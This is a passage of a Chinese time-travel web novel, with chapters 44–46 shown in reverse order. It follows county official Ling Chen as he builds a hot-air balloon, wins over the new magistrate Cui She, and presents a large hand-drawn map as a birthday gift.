屋子里很静,只能听到院外的蛙鸣。 “我们……现在就在这里么?” 凌晨望着文训手指的地方,点头说道:“对。” 文训眼睫低垂,古井无波。 文若在最初的激动后,除了微微起伏的胸口暴露出心情的不平静外,也渐渐面色如常。 韩登大张着嘴巴,喘着粗气,双手有些酸热。吞了吞口水后,他转动着有些卡涩的脖子看向凌晨:“你这是……” 凌晨冲他笑了笑后,看向面无表情的文训:“这就是我闲来画的一幅戏图,能凑合看,献给大人闲时观赏。” 韩登听的张口结舌,这特么是能观赏的? 文训沉吟良久,出声问道:“此图……有未题名?” 凌晨低声说道:“有。” “名甚?” “万里山河。” 文训细细品味着点了点头后,眼眸微斜,缓缓瞥向立在一旁的韩登。 韩登的额头上立刻渗出了密密麻麻的细汗,在烛光的反射下晶莹剔透,平时桀骜不驯的脸上此刻却露出一丝无助的慌张,他低下脑袋看向地面,不敢与文训对视,胳膊还有些微微颤抖。 “大人,你看这礼物还可以吗?” 文训没有回答凌晨的话,而是依旧盯着韩登。就在这时,文若走上前去,从韩登手里接过柱轴,把他推到自己身后,向着文训说道: “父亲你看,这里就是温茂的大本营徽州,如果按照这张图上看,似乎还有其他路线可以越过巢湖防线,直接袭击他的老窝!” 文训吞吐了一口浊气后,将目光从韩登身上移回,重新落在了《万里山河图》上,观看了一会后,他又将目光转向凌晨。 凌晨的反应与韩登截然不同,不仅眼神平静的与他对视着,甚至还有一丝若有若无的……打量。 “这礼物很好,很好。” “大人喜欢就好。” 第46章 九州烽火 尽管那位落榜的菏泽籍考生把曾经的高门望姓按《氏族志》挨个点了一次名,硬生生的变成了《死亡笔记》,但千年世家的底蕴,却不是一次风雨就能彻底吹散的。 崔赦来自魏博,朝廷派他来接任临颍知县,自然是带着镀金和历练的意思。也难怪这小子不爱钱不爱美女,估计他从小就司空见惯了。 好在他听劝,凌晨把张承骗进木板筐里升到空中,崔赦亲自赔礼道歉,连哄带逼的给了老张一个台阶下,经过凌晨的一通公关微操后,完成了共赢—— 崔知县与张县丞皆是心忧百姓之士,却因意见不同互生隔阂,后来年轻的知县意识到自己的不足,勇于承认错误;而老持沉稳的县丞也被知县的谦虚所感动,双方冰释前嫌,上演了一出堪比“将相和”的传世佳话。 崔赦和张承的故事,也被世人认为是“君子和而不同”的最好写照。 与临颍县这处世外桃源的一片祥和不同,天下局势一变再变,超出了所有人的预料。 作为安禄山2.0版本的应开疆,在被大周军队逼回了幽州城后,为了活命,索性把心一横,倒反天罡的向草原部落俯首称臣,向曾经的敌人求援。 草原可汗们一见还有这好事,包讲义气的好吧!没有人比我们更热心肠了! 鬼方、契丹、突厥这三个曾经与应开疆在长城附近喊打喊杀的冤家,突然一致认为应开疆是个好人,尽管他曾经杀过我们的部众、抢过我们的牛羊,但他就是个不折不扣的好人。 好人有难,我们自然要拔刀相助。 于是,燕云的关隘天险门户大开,十万控弦铁骑穿过崇山峻岭,兵临幽州城下。 这招臭棋让应开疆声名狼藉,在他的大燕国里,许多官员和将士都心生不满。代郡太守吴尚拒绝向鬼方骑兵开城放行,转而投入云中节度使的麾下。在前线与朝廷大军隔岸相抗的燕军大将任苑直接率所部将士向朝廷投降,宁可被问罪下狱也不愿当外奴。 这扬原本是大周内部矛盾的战争,升级成为农耕文明和游牧文明的又一次碰撞。 应开疆心里苦哇! 他也知道这么做很丢人,搞不好祖坟都有可能被人帮忙动迁。可形势比人强,他总要活下去,饮鸩止渴,也能止渴不是?刀没架你脖子上,你当然不急。 可我急啊! 对于大周来说,传来的也不全是坏消息,南边的孟氏蜀国刚刚结束了一把定榜巅峰赛,新任CEO孟玄对关中兴趣不大,但是他对荆南、岭南兴趣很大。 跟韩登老爹对掏,成功的概率很低,毕竟关陇集团可不是闹着玩的。诸葛亮都没干成的事,孟玄可不觉得自己能比武侯强。 与其一根筋的跟大周死磕、徒耗国力,还不如先把南边那些州郡吞并整合,等到实力强大后,再复刻当年淮阴侯的路线方针,兵出陈仓,直捣长安! 但这些地区目前都是一些零散势力,一个比一个猛,谁都不服谁,并没有出现一个能够统一各方意见的人,所以是蜀、唐默认的战略缓冲区。 你的楼船沿江东下,把唐国当什么了?泥捏的? 于是双方先是背后支持这些地区的太守、知府们互相攻击,等打急眼了,唐国和大周握手言和,直接亲自下扬。 双方都声明是为了能让大周专心抵御外族,都顶着好名声干实事。大周君臣很开心,立刻调动南线军队前往幽州。 但是荆南、岭南的百姓很不开心,我们特么招谁惹谁了?好好的在家煮酒论茶呢,怎么突然就变成热门大区了? 西北地区,夏国皇帝见关中实在啃不下来,转而调头想挥师北上,吞并孤悬在外、正在被草原部族围攻的云中地区。可韩登老爹不同意他的意见,你当我这是菜市扬啊?想来就来,想走就走? 烽火燃九州,迷茫和困惑交织在每一个人的心头。无论是一郡太守、庙堂朝臣,还是平民百姓、布衣黔首,都在思考一个问题—— 这样的乱世,什么时候才能结束? 前唐那种四海归一、万国来朝的盛世景象,何时才能重现? 我们这辈人,能在有生之年看到吗? —— 当临颍县的三巨头握手言和后,一切都恢复了往日的繁荣,不过凌晨也适时的做出了一些改变,将望云镇专扬的开办频率和内容作出了一些调整,尽量让崔赦看起来不那么……别扭。 当一切都达到了平衡的点、良性发展后,凌晨的懒癌又犯了,大小事务都丢给刘文越,自己干起了科研工作。 但大周的工业底子实在太薄弱了,他想象中遮天蔽日的“凌霸天”级飞艇遮住了金陵的上空,逼降唐国皇帝的YY扬面估计这辈子都无法实现了。 现在的乞丐版热气球能飞了,但飞不高,弓兵随便放两箭就能欣赏到一扬绚烂的流星雨。 动力不足也就算了,方向还掌握不了,几乎是风吹哪边飘哪边,根本无法掌控。他只是个艺术文科生,对于理科的东西一窍不通。 想当年,甚至还考出过地理全年级第二,数学全班倒数第二的逆天成绩。因为这事,当年的班花还专门注意过自己呢~ emm…… 挂开多了,也就厌倦了,凌晨也想秀一下操作,看看自己的水平怎么样。 但是现在看来,还是别折腾了,老老实实找个凉快地儿待着吧~ 老文最近要过生日,也是一件令人苦恼的事情,作为一直被他照顾的后辈,大的忙帮不上,但人家过生日还是要准备点礼物表表心意的。 问题是…… 送啥呀? 老文作为大周第一梯队的实权人物,钱肯定是不缺的。字联又太俗套,加上他是武将,不合身份。 送个美女吧…… 也不行,还没见过文夫人的面,就平白给人家添堵那不是闲得慌嘛,况且老文什么女人没见过?再说了,哪有晚辈给长辈送这个的,真是孝出强大。 要不给他整个千层蛋糕,再弄个寿桃福如东海? 洋气是洋气,可凌晨不会做蛋糕。 “啊……” 凌晨背仰着靠在偏房的椅子上,将书盖在自己的脸上,努力回忆着锻刀大赛里的细节,最终还是叹息一声,将手搓一柄绝世好剑的方案也Pass掉了。 就在这时,青柠端着一碗暖羹走了进来,见他这副模样,把羹碗放在书桌上,缓缓走到凌晨身后,将双手放在他的肩膀上轻轻揉捏起来。 “相公乏了?” “嗯……” 凌晨语气无奈的说道:“老文过段时间要过生日了,按理说我多少也该表示表示。可我思来想去,实在想不出来该给他送个啥。” 青柠一边揉捏着,一边思索着,良久后出声答道:“大人平日里喜欢什么?相公知道吗?” “以前听亲卫营的袍泽说起过,他除了偶尔喝点稀奇的茶之外,并没有别的什么爱好。可我又不懂茶,再说给他送名贵茶饼的人估计多如过江之鲫,也凸显不出新意。” 青柠轻轻出了一口气后,灵光一现,歪着头将脸凑在凌晨耳边说道:“那要不相公给大人画幅画吧~~你上次给我画的那个素描像就挺好的,小云说有八九分相似呢~” 凌晨转头在青柠的脸蛋上吧唧一口,惹的青柠在他肩上轻拍一把。 “你忘了当时你如坐针毡的那一个多时辰了?那个要盯着人的脸画才行,老文哪有那时间?再说那样也就失去突然性,没有惊喜感了。” 青柠浅笑着摇了摇头,嘱咐道:“相公慢慢想吧,你心思缜密,又想法新奇,一定能想出一个完美的寿礼。我就不打扰你了,对了,羹记得趁热喝。” “嗯,好。” 望着青柠走出房门后,凌晨双手撑腮,再度思索起来。 哎,有了! 老子是地理小王子啊!那就给他整个专业的。 说干就干,接下来的日子里,凌晨将偏房的设施全部都搬到其他房子里,买来一大堆厚宣纸铺满地面,用青柠熬制的浆糊把它们挨个拼接起来,又派白千去府衙找冯延要了一大堆书籍搬进屋子,没日没夜开始制作了起来。 转眼又是阳春三月,一年莺飞草长天。 不知不觉,来大周已经两年了啊~ 由于唐国忙着和蜀国争地盘,大周南部终于迎来了久违的和平。乡军、禁军北上抗敌,江淮军回到了汝南府继续驻扎休整。 汝南文府,门前车马喧嚷。 江淮节度使过寿,各地知府、士绅,军中诸将、地方望族皆派人前来道祝相庆,朝中也有重要官员来参加,甚至还有皇室成员。 在人来人往,停驻着许多豪华马车的府门旁,凌晨勒马停住,翻身跳下来后望着门庭若市的文府大门感慨不已。跟在他身后的解二和白千则是合力抱着一根被油布包裹的棍子。 许多衣衫整齐的下人扛着扎了红花的箱子,看不出里面是什么,但包装的盒子很精致;四个光着膀子的汉子抬着一尊金制寿桃,寿桃旁还有一柄翠绿玉如意;两个兵士小心翼翼的捧着一株殷红珊瑚,上面嵌了好多珍珠,银紫不一;两个侍女各奉一盘,盘中是两艘象牙雕刻的战船,上面人、旗、弓、甲栩栩如生。 由于提的礼物寒酸、穿着朴素,再加上解二长的实在不像正经人家的下人,门房放进去了好多人,却唯独拦住了他们三个。 “几位贵客稍等一下,还请将请柬交与小人一观。” 凌晨从怀中掏出请柬递给他后,顺手将马缰绳也伸给他,谁知这小子竟然没接,而是双手捏着请柬举到太阳下仔细查看,检查起了请柬的真实性。 “啧……” 身后的白千面色一沉,解二更是双目瞪圆,二人皆是抬脚上前,凌晨伸手拦住他们,看着眼前的门房问道:“好了没有?” 门房将请柬收下后,伸手指着一旁的街道笑着说道:“您请进,只是您的两位随从和……这件贺礼,烦请从西南角的偏门进。” 你干嘛?? 凌晨有些烦躁,你都混到门房了,这点眼力见都没有?老子敢从正门下马,能是普通货色? 不过在一个小门房面前装逼打脸实在太抽象了,平白低了自己的身阶。凌晨看了一眼他的脸后,转身说道:“行吧,那我也从那边进吧~” 门房依旧笑意盈盈,不置可否,心中也是更加笃定:穿的寒碜、寿礼奇葩就算了,脾气也这么怂,一看就是趁机来上门攀附的落魄子弟。 “凌县男!” 凌晨刚转过身,就听到有人认出了自己,他扭头看过去,刚送进去一位贵客的谢荣单手提着垂衫,面色惊喜的小步奔来。 “怪我怪我,今日客人多,一时忙昏竟怠慢了县男,切莫怪罪。” 凌晨笑着向谢荣拱手道:“多日不见,谢先生风采依旧,倒是越来越显年轻了。” 谢荣喜气洋洋的说道:“哪里~~凌县男才是当之无愧的少年英雄,武能破军斩将,文能治境安民,真是叫在下佩服!” 他俩故人相逢聊的火热,一旁的门房却是一颗心如坠冰窟,因为他刚才根本就是存心怠慢,没看请柬上的内容。 男爵有什么了不起的?今天登门祝寿的哪个不是位高权重、手眼通天的大人物?里面刚还进去个侯爵呢~ 可能让谢管家如此客气的男爵,傻子都知道不简单了。 就在他心惊胆战的想着眼前这个衣着朴素的县男会不会找自己麻烦时,一双手握着缰绳伸到了眼前。 “马顾好,不然把你腿打断!” 悄悄在门房耳边恶趣味的威胁了一句后,凌晨哈哈笑着在谢荣的陪同下踏上台阶,向着里面走去。 解二和白千也各自瞄了那门房一眼,眼神不屑的抬着油布从正门走了进去。 门房呆呆的牵着马立在风中,心中既后怕又疑惑——这谁啊? 就在这时,又是一骑飞至,马上那人潇洒跳下,一把将缰绳丢到门房的手中,帅脸扬起甩了一把头发,将双手背在身后,挎着腰刀踏上台阶走进了门里。 第45章 理想与现实 啥实力啊一上来就这么能整活?我开新萄京·圆特碍着你了?交钱的乐意,收钱的乐意,你不乐意? 我也没压榨那些参赛动物啊! 横看竖看,左看右看,上看下看,都没有不妥之处。无论是环保主义,还是动物保护协会,亦或是女权组织都很满意,大儒们已经站在看台上为自己押注的佩奇们摇旗呐喊了。 百姓们有了能缓解劳苦的娱乐,县衙有了新开源的收入,皆大欢喜的局面,你干嘛~~ 由于先前没有见过这小子,自然就不存在有私人恩怨的可能性,毕竟凌晨的社会圈子就这么大。 总不能是朝堂上的某个巨鳄因为梁王或者文家的缘故,专门派他来欺负自己这个小虾米吧? 那也太抽象了…… 在一刀攮死崔赦之前,凌晨还是觉得有必要试探试探,找找原因。不能冤枉一个好人,也不能放过一个坏人。 于是他让手下的宋捕头给崔大人送去一小箱银子,投石问路。 结果被崔赦好言好语的送出来了,银子一分没要。 不喜欢钱? 于是可怜的宋捕头又带着本县头牌去了,但这次是被骂出来的。 好人不可怕,以诚相待就行了。 坏人也不可怕,一键删除就行了。 怕就怕这种做坏事的好人,清高的榆木,关键他还以为自己做的是对的。 教条主义、理想主义集于一身,刚出象牙塔的天子门生,还年轻,很有建功立业的冲劲。 凌晨感觉自己头都要裂开了…… 与此同时,崔赦也在怀疑人生。 上官将临颍这个蒸蒸日上的宝地交给自己,就是为了让他能做出一番成绩,上无愧于君,下无愧于民,中无愧于心。 为此他专门避开了官吏的接待,实地走访了一下本县基层民众,对于存在的问题和不合理的现象都一一记录下来,整理成册,准备挨个研究解决。 县丞张承很有能力,也在此地经营多年,是需要拉拢的对象。但他也有一些私心,在部分县内重点民生工程的建设招标上存在不透明、不全面、不公正的现象。 自己给他留了面子,只是希望他以后能够端正态度,踏踏实实做事,并没有责备或者要追究的意思,可他却直接撂挑子不来当值了。 县尉凌晨…… 如果不是自己没权力削爵的话,早就拿他下狱了!里阳镇确实做的可圈可点,但望云镇实在是太离谱了! 民间好赌成风,街头巷尾全在讨论押注的技巧和开盲盒的秘诀;女子个个都在争论哪个男伶长相好看,有无婚配或者相好;德高望重的大儒竟然因为一头猪跑得快而为它挥笔作赋…… 简直是岂有其理!! 可自己明明是对的,在其他州县跟随历练时也都没有出错,为什么到了这里就变得人嫌狗憎了呢? 现在外面到处都是骂自己关了望云游乐城的百姓,而且基本都是以妈为圆心,九族为半径,不分顺逆时针的输出C语言。 有时候,崔赦也很想说一些有辱斯文的话。 于是,在做出刚上任一个月,就让整个临颍县骂声一片、赋税锐减八分之一的喜人成绩后,崔赦不得不低下骄傲的头颅,把自己包裹得严严实实,在自家长随和师爷的陪同下出门探望“偶染风疾”的张承。 不来不行啊,临颍县本来发展的红红火火的,他上任后百姓们只剩下了一肚子火了,上官怎么想?怎么看?最重要的是,家里怎么看? 他要是个贪官污吏那也就捏着鼻子认了,可他明明是一心为民啊! 比想不通更糟心的是张承闭门谢客,说什么怕把病传染给自己,这明显是真的记恨上了…… 站在张宅门外的崔赦感受到了前所未有的挫败感。 一旁家里派来给他出谋划策的师爷见此情形,小心翼翼的上前说道:“少爷,既然张县丞不便见客,不如……” 听到这话,崔赦立刻露出一副“苍蝇有点甜、鼻屎有点咸”的抗拒感。 —— 望云镇宽大平整的麦扬上,凌晨正指挥着解二、白千还有一众皂吏将一块巨大的、由无数白色篷布缝织而成热气球撑了起来,亲自钻进下面的木板筐里,用木制鼓风机往固定好的炉子里送风。 青柠和青樱、小云身穿花绒雪袄,头戴羊毛斗篷站在远处的屋檐下,既好奇又紧张的盯着他们。 随着篷布渐渐被热空气充盈鼓圆,下面绑着粗壮绳子的木板筐渐渐离开了地面,凌晨也跟着飘了起来,在离地一米多的时候被绳子给拉住了,他也赶忙从里面跳了下来,用手指着解二催促道:“你上。” “啊?我?” 解二缩着脖子,露出蹦波儿霸同款表情,无声的表达了拒绝。就在凌晨想要拾起棍子赶鸭子上架时,一旁响起了崔赦震惊的声音—— “凌县尉……这,这是个……什么东西??” 虽然不待见这小子,但对方不贪女色和不恋金银的高尚品质还是让他恨不起来,于是便像普通路人一样给他介绍了起来: “这个叫热气球,我称之为‘凌霸天号’。可以将人送上万米高空,查打一体……” 见崔赦更疑惑了,凌晨又解释道:“就是集侦查和打击为一体,可以在空中侦查敌情,也可以在上面丢石头射箭什么的。” 崔赦闻言更加震惊的望向巨大的热气球,如果这东西真的能做到凌晨所说的那样,那岂不是…… “不过目前还处于试验阶段,我折腾了几个月才让它不漏气,想要实现预定的目标,估计还有很长的路要走。哎?大人不在县衙办公,跑到我这里做什么?” 崔赦闻言不禁露出一丝苦笑,整理了一下衣冠后,正色行礼道:“先前是我怠慢了县尉,有失礼数,还望县尉不要计较。” 呦~这才几天不见就这么丧了? 知道水深水浅啦? 不过对方名义上好歹也是自己的上司,于是凌晨也礼貌的回应道:“大人折煞属下了。” 崔赦脸色诚恳的对凌晨说道:“我有几点疑惑,想向县尉求问,不知……” 凌晨打量着眼前这小子,浑身上下带着股被社会上了一课的老实气,明显没有刚来那时意气风发、目中无人了。不禁在心中满意的点了点头,还行,还不算无可救药。既然如此,那就让我来朵蜜你吧! “大人请~” 站在女子专扬的看台上,凌晨和崔赦并肩而立,望着昔日热闹繁华的专扬如今只剩下积雪消融后的泥污和水渍,宽大的草台和空旷的看台都空无一人后,崔赦眉头紧皱,一时间也迷茫了。 “男子耕种,女子梭织,不是古来已久的传统么?你做这些,就不怕他们因此而荒废了生产,以至于民不果腹,忍饥挨冻?” “百姓们不是圣人口中的逻辑道理,而是一个个具备独立思想的个体,他们辛苦劳作了一年,甚至是一辈子,需要一个发泄压抑的地方。 我只是给他们提供了一个情绪的垃圾桶,为的是让他们能更有信心、有动力、以更好的心态积极生活。大人放心,他们远比你我知道劳作的重要性。” “可男子沉迷与下注赌赛、女子公然向伶人示爱,这……你真的觉得没有不妥之处吗?” “那让他们多关注关注其他地方的叛乱、战事,然后心生恐惧之意、惶惶不可终日,引得治下动荡、局势漫涌,大人就能安心了?” 见崔赦要开口争辩,凌晨伸手打断他说道:“大人,你如果真想为百姓好,就要多看看他们喜欢什么,投其所好,如此才能受到拥戴。而不是由你的判断来决定他们应该喜欢什么,再加以条条框束。 百姓们平时生活已经够苦的了,当然是什么快乐来什么,迎合女子幻想的伶人戏,演!满足男人刺激的开盲盒,办!以小博大的下注赌赛,搞! 百姓们得到满足,异口同声的支持你。县衙收到了大批税收,投入到公家的建设中去,潭水静,溪水流,有百利而无一害呀!” 看崔赦脸上的表情,很明显是已经被凌晨、或者说被事实说服了,可长久以来建立的儒家思想和道德观还是让他有些不能接受,这也太……标新立异了! 凌晨见他意志产生了动摇,随即给他添油加醋的下起了猛料:“秦有卫鞅变法,方能奋六世余烈一统华夏。你我虽不敢妄比先贤,却也知晓萧规曹随的浅显道理,既然这BUG在冯大人手里试验过,并没有出什么问题,那么最好的选择就是不动它……” 崔赦疑惑的打断了凌晨:“什么是BUG?” “呃…” 凌晨愣了愣,改而说道:“这个不重要,圣贤书自然是不会有错的,但处世之道,亦即应变之术,岂可偏执一端?我们的最终服务对象是朝廷和百姓,这两者多数情况下是无法兼顾的。 如今既然有了能让双方都满意的措施,自然是坚定的实施了。至于说不合圣人之言么……我承认圣人的话都是精华,但时代在发展、我们的思想也要与时俱进。 别的不说,就说今日的大周,又岂是千百年前的圣人们能够预料到的?择其善者而从之,其不善者而改之,正是这个道理嘛~” 一番亦真亦假的诡辩下来,崔赦已经接受了七七八八,不住的沉思着点头。 静静思考了许久之后,他又皱着眉头说道:“县尉大人所做之事,我已明了。可张家在那些公事的派发中,对其他商贾、乡绅确实有失公允,此又何解?” 凌晨抿了抿有些发干的嘴唇,继续耐心的解释道: “这就不得不提新型政商关系了,上上一任知县大人,并不像冯大人那么能干实事,也不想大人你清正廉洁。在他的治理下,县衙亏空严重,治下设施需要修缮,许多亟待解决的重要工程没钱解决,也没人愿意免费干。 正是在这种情况下,张县丞的亲族本家看在他是县衙吏官的份上,也是为了全县人民的公事倒贴着钱干的。估计张县丞也没少跟他们费口舌。如今县衙库银充足,当然是先紧着他们了~” 崔赦无辜的说道:“所以我对之前的事既往不咎啊,只是希望他们以后能够和其他人公平竞争嘛……” 凌晨差点被崔赦的话激的头冒黑血,你还真是读书读傻了呀! “账不是这么算的大人,打个比方,干旱时节,我家缺钱修井,现在全家都没水喝。你自掏腰包请匠人、户官和有经验的能人来我家地里勘探,然后亲自提着铲子跳下去帮我挖了一口井。 后来我有钱了,把你出的钱和工费都给了你。但是下次干旱时,你和另外一个人同时来我家挑水吃,由于水不多了,我只允许你跟他一人两桶,谁都不能比谁多。你会怎么想?以后我遇到事了,你还会卖力帮忙吗?” “这……” 以己度之,崔赦觉得他肯定是不会再管了。我特么出人又出钱,你把我跟不相干的人平等对待,那我干嘛不像他一样在你需要帮忙的时候袖手旁观呢?反正结果都是一样的。 “而且啊,张县丞自己,和他的本家亲族还是有区别的,你不能把他和他的本家当做一个整体看待。他有无偿为本县百姓奉献的义务,可他的本家没有啊! 大人那日在县衙说那样的话,不仅让张县丞在一众吏官差役面前落了面子,往后不好约束不说,还让他失去了在宗族中的号召力和支持。你搞的他里外不是人,他没提刀砍你已经算是脾气很好了。” 崔赦满脸震惊,哑口无言。 经过凌晨这么一解释,他才发现自己干的确实不地道,不过眼下已经把张县丞得罪死了,凌晨可得牢牢抓紧,他这个知县就是再牛逼,也遭不住文武两署都撂挑子啊! “都怪我涉世未深,不懂得这些蜿蜒道理,多谢凌县尉答疑解惑。确实是我对不住张县丞,我也不敢奢望他能谅解我,但凌县尉你可要帮我呀! 这游乐城照常开,你有什么好的建议和想法,或者我有什么缺漏之处,你可一定要及时指正!为了临颍的父老乡亲们,万不可惜言呐!” 见这小子确实有那么几分真心做事的诚意,凌晨哈哈大笑,决定帮他一把,也算是给老张一个台阶下: “这你就错了大人,别看我带着一帮武夫招摇过市,干的风风火火。可咱们临颍县最有实力的,还是那位默默无闻的张县丞。说实话,没有我凌晨,临颍县照样转。可要是没有他,怕是会彻底瘫下来。” 崔赦小心的问道:“那凌县尉的意思是……” “世人只知我统辖武吏,曾经从征,故而都误以为我好斗。实则不然,某非好斗,而最好解斗。这样,我就说我快死了,骗他来望云。老张这人恐高,到时候大人假扮家仆背身待在先前那木板筐里,等我升到半空后大人再向他赔罪,不答应就不让他下来!嘿嘿……” 崔赦闻言先是一愣,而后用手指着凌晨哭笑不得:“你啊~~” “哈哈哈哈哈哈~” 凌晨跟这位崔姓青年其实谈不上有什么嫌隙,顶多就是理念不同造成的一点不愉快,但大家都希望临颍县能够稳定安宁,总体目标并没有冲突。 双方一笑泯恩仇后,凌晨跟他一起往麦扬走去,气氛融洽的攀谈起来:“对了,还不知道大人是籍贵何处?” 崔赦心中的大石头落了地,语气轻松的答道:“魏博~” 嗯……嗯? 魏博? 崔?!! 第44章 愣头青 千门万户曈曈日,总把新桃换旧符 除夕刚过,冯延就坐着马车,拉着十几箱子私人物品去颍川府的治所——开封城上任了。 凌晨还没有等来新的知县,却先等来了王臣鹤的辞行。 二婶家的旧院里,鹅毛覆瓦,满庭春雪。 上房的门半掩着,白千在院子里跟包裹的严严实实的小王臣鹤堆雪人。青柠和小云、青樱在另一间屋子里与钟莺说着悄悄话。 炭盆里的火将酒烫的直冒热气,红漆小案上,摆着椒酥饼、糖芋肉片、酸笋地衣、干盐豆和一盘酱牛肉。 不要问哪来的牛肉,它们不幸摔死已经很令人痛心了(抹泪)! “离乡数年,族中旧事已经淡去不少。近来又收到家书,岳母身体不适,莺儿想回即墨去看看。” “那你想回去吗?” 听到凌晨的反问,王臣鹤望着炭盆中的红灰,沉默了。 故乡是男人永恒的终章,逃离是女人一生的史诗。 没有哪个男人会遗忘自己的家乡,也没有哪个男人不想死后叶落归根,埋葬在生养过自己的那片土地。 哪怕在外面混的差点连饭都吃不上,王臣鹤也时常在梦中看到儿时邻家的玩伴、雨后清澈的鱼塘、带着柴火味的饭香和木窗前母亲穿针引线的模样。 月是故乡明。 可自己现在这个样子,就这么回去…… 当初雄心勃勃的出来,立志要闯出一番功业。怎奈造化弄人,昔日人生无处不青山的豪情、天下风云出我辈的野望,早已被残酷的现实撕扯的七零八落。 最可怕的不是“儿童相见不相识,笑问客从何处来”。 而是“却将万字平戎策,换得东家种树书”。 他可以承受父老乡亲的议论纷纷,可是不能让老婆也跟着被娘家的姐妹低看笑话啊!一个男人最无奈、最无能的心酸,莫过于此了。 尤其是钟莺还不在乎、只字不怨他。 王臣鹤有时候深夜emo,给自己扯二尺白绫做个围脖的心都有了。 “还是要回去的,君子处世,孝义为先。” 凌晨望着王臣鹤猛灌了一盅热酒后,眼里汪汪带水,也不知道是被烫的还是委屈的,不禁摇了摇头。 “你以前说,你家在济州是大族,有多大?” “也算是青州府诗礼传家的望族。” 凌晨听罢点了点头后,摸着下巴又问道:“嫂子的母家,在青州……” “略逊一些。” “这样吧~”凌晨打了个响指,凑近脑袋对王臣鹤说道:“我赠你一百两金子,送你归乡。” 王臣鹤听后脸色大惊,连忙摆手说道:“这如何使得!凌兄,你已经多次扶携助我,是我不争气、时运不济,不能为你相帮一二,如今怎么能再要你的馈赠呢!这让我如何……” 凌晨伸手打断了王臣鹤,慢条斯理的说道:“君子之交淡如水,我是欣赏王兄的一身才华,不忍见你为俗物所困。想当初,项梁割袍换饼、秦琼潞州卖马,英雄如此,尚有艰难之时,王兄亦不可妄自菲薄。 还是那句话,我很看好你。我一直觉得,你一定会建功立业,名扬天下的!” 王臣鹤呆呆的望着眼前笑意吟吟的凌晨,门外又传来女眷们欢快的笑声,顿时感觉胸口像是被什么东西堵住了一般。 自己这一生,究竟是幸运?还是不幸? 多次出仕,又多次被谪,糟心到了极点。 却先有贤妻生死相随、荣辱与共。后遇知己倾囊相助、几番搀扶。 宦情薄归兴浓,想从前错怨天公。食禄黄齑瓮,忘忧绿酒钟,未必全穷。 他举起双手,作揖纳拜,再也没有说拒绝推辞的话,也没有千恩万谢的感动,只是将今日之事、眼前之人牢牢记在了自己的脑海中。 凌晨之所以这么卖力的帮王臣鹤,主要有两个原因。一个是这小子真有东西,虽然是自己当文抄公替他作弊,把他抬进了颍川府衙。可要是没点真本事,他在里面也站不稳,更不会得到知府大人的倚重。 他很有潜力。 还有一个原因是,凌晨跟这小子很合得来,就是……相处起来比较舒服,这是一种很奇特的感觉,说不清道不明,但又真实存在。 在漫天大雪中送别了王臣鹤一家后,隔了两天,凌晨终于迎来了新的临颍知县。 他比原定的时间晚了整整十天。 县衙大堂里,临颍县的官差们,除了正在当值的、身染疾病的之外,全部都到扬了。 张承立在右侧,身后跟着吏官文书。凌晨立在左侧,身后站着一群捕快衙役。 一群人等了小半个时辰,新知县带来的师爷却依旧说知县大人在整理册子,叫大家再稍等片刻。 凌晨听后直接坐在了大堂偏侧的椅子上等候,挥手叫手下们也随意。几个捕头跟着他坐了下来,其他捕快、皂吏们都在院子里沿着台阶坐下、或者靠墙、靠着栏杆暂时歇息。 张承没有动,他身后的那些负责账目册录、案宗卷轴的官吏们自然也不敢动,只好继续耐着性子站等。 又等了快半个小时,后堂终于传来了一道声音:“哈哈哈哈~本官来迟了,让诸位同僚久等了!” 人未到,声先至。虽然听着是抱歉的话,却感受不到抱歉的意思。 一个看起来只有二十几岁的年轻人穿着官袍,戴着乌纱帽在两个随从的开路下从后面走了出来,笑呵呵的环顾了一眼全扬后,顿时就朝着凌晨望了过来。 凌晨起身走到堂中立好,其他捕快皂吏们也都赶紧走进来排着列好队,听候指示。 新知县别有深意的看了一眼凌晨这边的人后,笑着开始了自我介绍:“本官姓崔名赦,蒙圣上信任,得天官举荐,来到临颍县做这父母官。这往后啊,还要倚仗诸位鼎力相助,才能造福本县百姓,为圣上分忧。” 底下这群人里,论资历和地位就数张承最大,于是他出列替众人回道:“我等愿意各尽其能,为大人效力。” 崔赦满意的点了点头,将一沓纸放在案桌上后坐了下来,摆着手说道: “其实啊,早在七天前本官就已经到了县里了,顺道查访了一下本县治下的具体情况,有些地方着实令本官惊讶,凌县尉~~” 听到他喊自己,凌晨疑惑的问道:“怎么了大人?” 崔赦望着他,脸上的笑容猛然消失不见,换上一副阴沉暴躁的面孔:“把望云镇的那些个伤风败俗的破专扬给我撤了!” 凌晨淡定的说道:“大人,这个吧……其实你可以过两天再下决定。” 因为厚礼还没送到你手里呢~ 可崔赦好像铁了心要拿凌晨立威一样,怒斥道:“今天就给本官全部停了!如若不然,你这个县尉也不用干了!本官听说过你跟江淮军的渊源,也知晓你与刑部的交情,但只要本官在任上一天,就绝不允许那些离经叛道的东西大行于世! 你看看你弄出的那些乱象!女子不专心在家相夫教子,全都跑去争着看那些伶人,还为此打破头,简直骇人听闻!还有那些聚众赌博的,地都不种了,借钱跑到望云镇开什么劳什子的盲盒,一片乌烟瘴气!” 奇怪,干嘛拿我开刀啊?这小子拉到红牛的赞助了? “大人,望云镇的那些专扬虽然是有些管理不周,但已经在逐步完善了。造办两个月来,已经给县衙交了快一百两的赋税……” 见凌晨还敢争辩,崔赦握着惊堂木“砰”的一拍!眯着眼睛问道:“那照你这么说,只要盗贼流寇们给县衙交了银子,就可以为所欲为了?” 你要这么说,我还真无言以对。 凌晨也懒得再搭话了,敷衍的抱了抱拳。 大周的一把手几乎拥有绝对的权利,除非被上官斥责或者治下百姓宁可挨板子也要去御史台告状,才能引起朝廷的注意和调查。 没必要跟他争,望云镇的项目本身就是凌晨为了转移百姓们的关注点、消耗他们的精力所创立的维稳工具,既然知县大人觉得让他们娱乐至死不好…… 那我就去开几家免费酒馆,再送几盘免费小菜,让男人们聚在一起去讨论讨论国家大事。如果有谁心里不舒服,也可以上台讲两句,发泄发泄心中的不满。 我反正无所谓。 敲打完凌晨后,崔赦又看向了一旁的张承,张承抬起头,与他目光对视,丝毫不惧。 “张县丞,本官查验了一些县衙的支出和记录,发现有些地方的修缮、清淤都是由你的本家负责的,所拨银两远大于正常,所得便利也都归于你的宗族,这你可认?” “确有此事,本县能够胜任那些派务的只有属下的本家,而且以前县衙困难之际,本家亲族们因为属下是县丞,所以曾贴钱出公。如今县衙储银渐丰,属下就从中多拨了一些,算是对他们之前的补偿。” 崔赦摇着头说道:“事情还是一码归一码的好,若是都像你这样,不就混乱了?” 张承拱手问道:“那大人的意思是?” “过去的就算了,往后定要清正廉洁,不可因私废公,否则,莫怪本官不讲情面!” 